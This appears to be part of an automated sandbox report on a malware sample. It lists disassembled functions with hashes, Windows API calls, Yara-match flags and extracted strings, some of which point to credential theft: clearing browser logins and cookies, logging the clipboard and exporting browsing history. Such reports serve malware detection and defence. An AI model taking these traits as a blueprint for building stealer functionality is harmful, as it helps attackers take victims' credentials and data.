Opcode ID: 99786426fa04367196df5dcd6138f2c741ad56ee1871359df960091d0e0ec61b
Instruction ID: f31289fd9d699b06c41f7a0dd522d8b38f8464f47830024adc65ef0280f1a9f9
Opcode Fuzzy Hash: 99786426fa04367196df5dcd6138f2c741ad56ee1871359df960091d0e0ec61b
Instruction Fuzzy Hash: B1F0D112F9A0151AEB24012ACC517A2B7AA9B923A9F1C45739881E22D1D43CF902C29A

Uniqueness

Uniqueness Score: -1.00%

Function 005DDB62 Relevance: 6.3, APIs: 4, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e09cade9917dec00e19583623e60a1e65d504fed14bbdcf8aab25c6bdc53798
Instruction ID: 0000b85436bfaf1df0769b99dcdefe8ef5e649104f18ba172d4ac3ac12763860
Opcode Fuzzy Hash: 5e09cade9917dec00e19583623e60a1e65d504fed14bbdcf8aab25c6bdc53798
Instruction Fuzzy Hash: 41C1DC74A0424AABDB21DFACC844BADBFB5FF59300F18459BE814AB392C7709941CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00406964 Relevance: 6.2, APIs: 4, Instructions: 169fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,?), ref: 00406A20
CreateFileA.KERNEL32(?,?,?,?,00000005,00000000,00000000,?,?,?,?), ref: 00406AD8
GetLastError.KERNEL32(?,?,?,?,00000005,00000000,00000000,?,?,?,?), ref: 00406AE4
CloseHandle.KERNEL32(00000000), ref: 00406B51

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: File$AttributesCloseCreateErrorHandleLast
String ID:
API String ID: 2927643983-0
Opcode ID: 6e1a6058ef37750cda5ec70bfb999172adfa67f6a0ca6a7b2993c58ec04b35ae
Instruction ID: 6f5b4d9775ee43f79354ff038f0f17c990ff5a4ab966ecf6b1d5bf88aed51e66
Opcode Fuzzy Hash: 6e1a6058ef37750cda5ec70bfb999172adfa67f6a0ca6a7b2993c58ec04b35ae
Instruction Fuzzy Hash: FB5126B16002059AE714AF69C9457BE3BA49B42324F27C13BE917BB3C1C63C8A61CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 6.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040D0D4), ref: 00401035
GetEnvironmentStrings.KERNEL32 ref: 0040B514
GetCommandLineA.KERNEL32 ref: 0040B51E

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: CommandEnvironmentHandleLineModuleStrings
String ID:
API String ID: 1584138308-0
Opcode ID: 94c200fce6d2c3bf77e37ea998ce0968a4fe829889128b05807b9de8d1964050
Instruction ID: 1e125b975a801eda77775a79630f441c36246d9b4f70de590b5ee850b0935413
Opcode Fuzzy Hash: 94c200fce6d2c3bf77e37ea998ce0968a4fe829889128b05807b9de8d1964050
Instruction Fuzzy Hash: C8413670904304ABDB209F69DC86B6637A5EB4530CF2441BBE645BB3D2DB789842C7DE

Uniqueness

Uniqueness Score: -1.00%

Function 004075A4 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24085fe64824f974de4ea01719d329f8b1e97d99326a1ffc5e79c6b344e013f
Instruction ID: a7873f668418494e431f87f18466fb187a4c17b9fd22a2fdba2d4eb1950bd8a6
Opcode Fuzzy Hash: b24085fe64824f974de4ea01719d329f8b1e97d99326a1ffc5e79c6b344e013f
Instruction Fuzzy Hash: 0E517730E08609EFDB10CF58C894BAA7365FB41364F208A76F5226B2D1C779BD45CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 146486E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,14646FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 14648731
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 146487BA
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 146487CC
__freea.LIBCMT ref: 146487D5

Part of subcall function 146456D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 14645702

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 1472ed4def2920cce8c7637f7ba7aa8775169396b25fb33adebaf03358670ff6
Instruction ID: 55c2fa8e1f0e5860410eeabed5289f76304ebe81a830207265c7bc93d61a2b34
Opcode Fuzzy Hash: 1472ed4def2920cce8c7637f7ba7aa8775169396b25fb33adebaf03358670ff6
Instruction Fuzzy Hash: 6C31F23AA0021AABEF25CF65CC90DAF3BA5EF50718F290128ED04DB190E735DC51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1233C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 1233C021
Sleep.KERNEL32(00001388), ref: 1233C0A9

Strings

[Cleared browsers logins and cookies.], xrefs: 1233C0E4
Cleared browsers logins and cookies., xrefs: 1233C0F5

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
API String ID: 3472027048-1236744412
Opcode ID: 3339c54cb2742ef6f38a5628c07f96f703b33f55c3bb80d9a65a4ea752d31b71
Instruction ID: dd522b454faeab48ab04d3d72fe515aa87fc51498d61e7b25bf8344228ba695a
Opcode Fuzzy Hash: 3339c54cb2742ef6f38a5628c07f96f703b33f55c3bb80d9a65a4ea752d31b71
Instruction Fuzzy Hash: 2731F30F65C3C16EEA175BB658647FA7F870F9324AF044A5CE8D90B282D922860CD763

Uniqueness

Uniqueness Score: -1.00%

Function 1234B7FF Relevance: 6.1, APIs: 4, Instructions: 63timesleepCOMMON

Download Yara Rule

APIs

GetSystemTimes.KERNEL32(?,?,?), ref: 1234B815
Sleep.KERNEL32(000003E8), ref: 1234B820
GetSystemTimes.KERNEL32(?,?,?), ref: 1234B835
__aulldiv.LIBCMT ref: 1234B89C

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: SystemTimes$Sleep__aulldiv
String ID:
API String ID: 188215759-0
Opcode ID: 5f2d50cadebb7d3f8cf2b1a8444b73d0a6ac3a689de10bbee6356efe85897404
Instruction ID: 0154d8ab8691076f6e868a898975a682829d5edc776077cc23a9e1730a51eff0
Opcode Fuzzy Hash: 5f2d50cadebb7d3f8cf2b1a8444b73d0a6ac3a689de10bbee6356efe85897404
Instruction Fuzzy Hash: B811427B508389ABD359EAB4CCC4DBF77EDEBD8750F140A39F55682040FE64E6088661

Uniqueness

Uniqueness Score: -1.00%

Function 14645CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,14641D66,00000000,00000000,?,14645C88,14641D66,00000000,00000000,00000000,?,14645E85,00000006,FlsSetValue), ref: 14645D13
GetLastError.KERNEL32(?,14645C88,14641D66,00000000,00000000,00000000,?,14645E85,00000006,FlsSetValue,1464E190,FlsSetValue,00000000,00000364,?,14645BC8), ref: 14645D1F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,14645C88,14641D66,00000000,00000000,00000000,?,14645E85,00000006,FlsSetValue,1464E190,FlsSetValue,00000000), ref: 14645D2D

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: cf864c44325957709022161106441fdc1f59da1c55ef9d8dd52134060d5190b4
Instruction ID: 8c8e6b85c16866518abf979c69b5dc586d539c906f422b12f41503fea9741683
Opcode Fuzzy Hash: cf864c44325957709022161106441fdc1f59da1c55ef9d8dd52134060d5190b4
Instruction Fuzzy Hash: 5001AC367112366BCF315E689C8CA46775CEF25AA9B290625FB05D7A40D730D402CAD4

Uniqueness

Uniqueness Score: -1.00%

Function 005CA645 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 005CA65C

Part of subcall function 005CAC94: ___AdjustPointer.LIBCMT ref: 005CACDE

_UnwindNestedFrames.LIBCMT ref: 005CA673
___FrameUnwindToState.LIBVCRUNTIME ref: 005CA685
CallCatchBlock.LIBVCRUNTIME ref: 005CA6A9

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction ID: 9844b835f91a17ccfa4ff27d99298901a54ff87d7eb6abe2b53e45a6381fc8ea
Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
Instruction Fuzzy Hash: 5801B332400109AFCF125EA5CD05FDA3FAAFB88758F194019F91866120D376A8A1EBA6

Uniqueness

Uniqueness Score: -1.00%

Function 123493E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004C), ref: 123493F0
GetSystemMetrics.USER32(0000004D), ref: 123493F6
GetSystemMetrics.USER32(0000004E), ref: 123493FC
GetSystemMetrics.USER32(0000004F), ref: 12349402

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 8b2ff39deab7576a70af653f9587165294241c64ae6cb72593d5c84c69c70645
Instruction ID: 6744feb7cdfd49c22b455278afc33263dc9457639b29de48414e7d7e72bd5374
Opcode Fuzzy Hash: 8b2ff39deab7576a70af653f9587165294241c64ae6cb72593d5c84c69c70645
Instruction Fuzzy Hash: 99F04FA2B043955BD394DA75CC44A2F6BD6AFC4260F2048BEE6098B381EEB4DC058B91

Uniqueness

Uniqueness Score: -1.00%

Function 005C9D13 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 005C9D13
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 005C9D18
___vcrt_initialize_locks.LIBVCRUNTIME ref: 005C9D1D

Part of subcall function 005CB21C: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 005CB22D

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 005C9D32

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction ID: 0a9096911c0944c4a10d0bcf52f8340a98e95cf27e9ab1d1de8c4966a733bb33
Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
Instruction Fuzzy Hash: E0C0010C0006466C2C103AF1221FFAE9F407DE2B86FA46A8DB8A23A403AA060D5A6022

Uniqueness

Uniqueness Score: -1.00%

Function 005E4B65 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 268COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 005E4DE5
__freea.LIBCMT ref: 005E4DF1

Strings

>N^, xrefs: 005E4D19, 005E4BD3

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __freea
String ID: >N^
API String ID: 240046367-865931248
Opcode ID: fb6195c260b9ae5d4324619eca1f95c452dc13a98459a94436f4153b7f964d62
Instruction ID: 7c49aa9249258e033b1fa4775ad335b2f847e284416e358fc630403511f5a804
Opcode Fuzzy Hash: fb6195c260b9ae5d4324619eca1f95c452dc13a98459a94436f4153b7f964d62
Instruction Fuzzy Hash: 7991B171E002969ADF288FA6CD85AEEBFB9BB49310F184659E885E7241D735DC40CF60

Uniqueness

Uniqueness Score: -1.00%

Function 005E2ABA Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005D8FF7: _free.LIBCMT ref: 005D902E
Part of subcall function 005D8FF7: _abort.LIBCMT ref: 005D9075

_wcschr.LIBVCRUNTIME ref: 005E2C2C
_wcschr.LIBVCRUNTIME ref: 005E2C3A

Strings

UX], xrefs: 005E2BB3, 005E2BFB, 005E2CA3

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _wcschr$_abort_free
String ID: UX]
API String ID: 2269257601-4069445468
Opcode ID: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction ID: 7c62ca9e638cbb0aa022fbd1713b438e5fd6af329af7ec66704a85a095b22388
Opcode Fuzzy Hash: 7ea90a810ccb8eded513053f15f94d45dc96679ac5d2c45bddb92c1ff4a69e8d
Instruction Fuzzy Hash: A961EB72600247AAD72CAF76CC4ABBA7BACFF44300F14446AF989D7185EA70DD41C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 005995EE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005995F3
__CxxThrowException@8.LIBVCRUNTIME ref: 005996D4

Strings

hdF, xrefs: 00599616

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Exception@8H_prologThrow
String ID: hdF
API String ID: 3222999186-665520524
Opcode ID: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
Instruction ID: 379a1acd38d4ce2fff90b014f9c69876fc7e4afc0ff65bc1f15edb1d8b405283
Opcode Fuzzy Hash: 343675e76b0a0f9536e7689d5bfc322d86527155193a82fc771824cafc66db2c
Instruction Fuzzy Hash: E2513C7290020ABBCF14FBA4DD5A9ED7F68BF91300F50015DB80696192EF349F49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 146463F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1464655C

Part of subcall function 146462BC: IsProcessorFeaturePresent.KERNEL32(00000017,146462AB,00000000,?,?,?,?,00000016,?,?,146462B8,00000000,00000000,00000000,00000000,00000000), ref: 146462BE
Part of subcall function 146462BC: GetCurrentProcess.KERNEL32(C0000417), ref: 146462E0
Part of subcall function 146462BC: TerminateProcess.KERNEL32(00000000), ref: 146462E7

Strings

., xrefs: 14646713
*?, xrefs: 14646433

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
Instruction ID: 71d027ee24beb54f69d52998898cc7061112bb0439d6b8daf87f3a0eeac37e73
Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
Instruction Fuzzy Hash: EB518575E0020ADFDF05CFA8C8406ADBBB5EF68318F388169D558E7345D639AE018B54

Uniqueness

Uniqueness Score: -1.00%

Function 005DC19E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

__fassign.LIBCMT ref: 005DC25B
__fassign.LIBCMT ref: 005DC276

Strings

PkGNG, xrefs: 005DC1A0

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: PkGNG
API String ID: 3965848254-263838557
Opcode ID: 0bfd670419a30e70b2122a04c0ff37dc7c92f96e788d8b5757dd12d671b03cbd
Instruction ID: 2ab1cf02f251a95dd18b82d38afd7d446144d0a0d164f0c26ee8b34f67fb4faa
Opcode Fuzzy Hash: 0bfd670419a30e70b2122a04c0ff37dc7c92f96e788d8b5757dd12d671b03cbd
Instruction Fuzzy Hash: 0B51607190024AAFDB20CFACD885AEEBFF4FB09310F14856BE955E7391D6309941CB65

Uniqueness

Uniqueness Score: -1.00%

Function 005ACDFD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 005ACE30
_wcslen.LIBCMT ref: 005ACF1D

Strings

?, xrefs: 005ACEAF

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _memcmp_wcslen
String ID: ?
API String ID: 1846113162-1684325040
Opcode ID: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction ID: 76a1c639bec36f43b1f9c7f2cc1e9a016f453073781b491185dc4ceb0867ff5c
Opcode Fuzzy Hash: abe7e308a1a6702f98718e9be80ca678ae2d2d31c1c14d85f2c6eaae61ca29ed
Instruction Fuzzy Hash: 21416F71508316EFDB20DFA4D848AAFBFECBB99751F00092AF555C2161EB74C948CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1233404C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93sleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 12334066

Part of subcall function 1234B978: GetCurrentProcessId.KERNEL32(00000000,771B3530,00000000,?,?,?,?,12396468,1233D20D,.vbs,?,?,?,?,?,123A52F0), ref: 1234B99F

Part of subcall function 12348568: CloseHandle.KERNEL32(123340F5,?,?,123340F5,12395E74), ref: 1234857E
Part of subcall function 12348568: CloseHandle.KERNEL32(12395E74,?,?,123340F5,12395E74), ref: 12348587

Part of subcall function 1234C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,00000000,1233A843), ref: 1234C49E

Sleep.KERNEL32(000000FA,12395E74), ref: 12334138

Strings

/sort "Visit Time" /stext ", xrefs: 123340B2

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateCurrentModuleNameProcessSleep
String ID: /sort "Visit Time" /stext "
API String ID: 368326130-1573945896
Opcode ID: 397a6cced3a4d4c9cf7d355418eda07bb8a790510c660b27a52c9a1eb619ad88
Instruction ID: 37d9114549791177351191eea28ee58e43f7a6f135f5987bcf0d3e02466e645c
Opcode Fuzzy Hash: 397a6cced3a4d4c9cf7d355418eda07bb8a790510c660b27a52c9a1eb619ad88
Instruction Fuzzy Hash: 9A31413B9102185BCB66E7B4DC949FE7779AF90302F400165D146E7194EF206F4ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00592AED Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

_strftime.LIBCMT ref: 00592B32

Strings

|MG, xrefs: 00592BEA
dMG, xrefs: 00592B63

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _strftime
String ID: dMG$|MG
API String ID: 1867682108-1683252805
Opcode ID: bbdb414fb79269bf773295af42d5df5de67eea351094c48e52f104940b22c49b
Instruction ID: c25a9a5173f561076fd4333ba925af670d8c373e999510ed5d033984224649cf
Opcode Fuzzy Hash: bbdb414fb79269bf773295af42d5df5de67eea351094c48e52f104940b22c49b
Instruction Fuzzy Hash: 4E315E31504302AFDB24EB60DD5AAAE7BA8FBD4300F40453DF149821E1EF709E49CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 1233B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 12364770: __onexit.LIBCMT ref: 12364776

__Init_thread_footer.LIBCMT ref: 1233B797

Strings

[End of clipboard], xrefs: 1233B7D9
[Text copied to clipboard], xrefs: 1233B7E6

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: [End of clipboard]$[Text copied to clipboard]
API String ID: 1881088180-3686566968
Opcode ID: ac1a759854e643147470ffe83c858acb222773e7e94efd10205d04e87054609b
Instruction ID: ce4a5f844ff48fb29387deccc0aeee737ed0932e4d452ef378064df1263ecadb
Opcode Fuzzy Hash: ac1a759854e643147470ffe83c858acb222773e7e94efd10205d04e87054609b
Instruction Fuzzy Hash: B821A73B9002194ECB69E774D890DFDB77AAF50312F50052AD50697194FF347F4ACA90

Uniqueness

Uniqueness Score: -1.00%

Function 005A70C6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 005A70D7

Part of subcall function 0059ABC6: _wcslen.LIBCMT ref: 0059ABDF

Strings

PG, xrefs: 005A7104
!D@, xrefs: 005A7E6B

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: !D@$PG
API String ID: 176396367-1987221222
Opcode ID: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
Instruction ID: 9cab077bf046a24f4c5f39c5ddc59979f1098d9878313069d0439688a53d3919
Opcode Fuzzy Hash: 3229767f42b224c22e38ab05f87ced9dbd25ea478007aec8b0515c8cef1bdfe3
Instruction Fuzzy Hash: 6C11D2207442433BDE1C77709C2AFBE2A8BBBD1300F50842EF44A8F6E2DEA80C469215

Uniqueness

Uniqueness Score: -1.00%

Function 005953E9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 005953EE

Strings

NG, xrefs: 0059543C
}E, xrefs: 005953E9

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: NG$}E
API String ID: 3519838083-2251168990
Opcode ID: 531294bc55fe6296708d9916624f17236c631622ca51f748c31d8835be279a7a
Instruction ID: 18ef6193023b93b2001c4837adbf78fa7b235d1f44383af6b86f70fb50bc55b1
Opcode Fuzzy Hash: 531294bc55fe6296708d9916624f17236c631622ca51f748c31d8835be279a7a
Instruction Fuzzy Hash: DC215336D001099BDF15EBA4D957AFEBB76FF80310F60812AF515A2191DF341E058B40

Uniqueness

Uniqueness Score: -1.00%

Function 146416AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 14641719

Strings

: , xrefs: 146416B3
Se., xrefs: 146416E5

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

